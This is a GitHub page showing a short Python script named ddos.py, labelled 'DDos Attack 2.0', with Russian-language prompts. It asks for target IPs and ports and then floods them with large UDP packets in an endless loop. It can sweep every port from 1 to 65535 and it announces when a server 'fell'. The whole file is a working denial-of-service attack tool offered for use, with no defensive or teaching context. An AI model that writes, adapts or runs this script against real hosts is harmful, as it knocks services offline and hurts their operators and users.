-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathddos.py
61 lines (46 loc) · 1.12 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import os
import socket
import random
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
os.system("clear")
print("DDos Attack 2.0")
print("")
bytes = "qwerty"*2000
sent = 0
max = 1000
ips = input("IP/Host цель (127.0.0.1; 127.0.0.1,192.168.1.1): ")
ips = (ips+",").split(",")
ips.pop()
ports = input("Сколько портов использовать? (80; 80,8080,443; all): ")
if ports != "all":
ports = (ports+",").split(",")
ports.pop()
mode = input("Включить медленный режим? (y; n): ")
os.system("clear")
print("Запуск...")
time.sleep(0.5)
def attack(ip, port):
global sent
global max
sock.sendto(str.encode(bytes), (ip,int(port)))
sent += 1
print("%s пакетов - %s:%s"%(sent,ip,port))
if mode == "y":
if sent == max:
max += 1000
time.sleep(0.5)
port_for_fast = 1
while True:
for ip in ips:
try:
if ports != "all":
for port in ports:
attack(ip, port)
else:
attack(ip, port_for_fast)
port_for_fast += 1
if port_for_fast == 65536:
port_for_fast = 1
except:
print("Сервер "+ip+" упал!")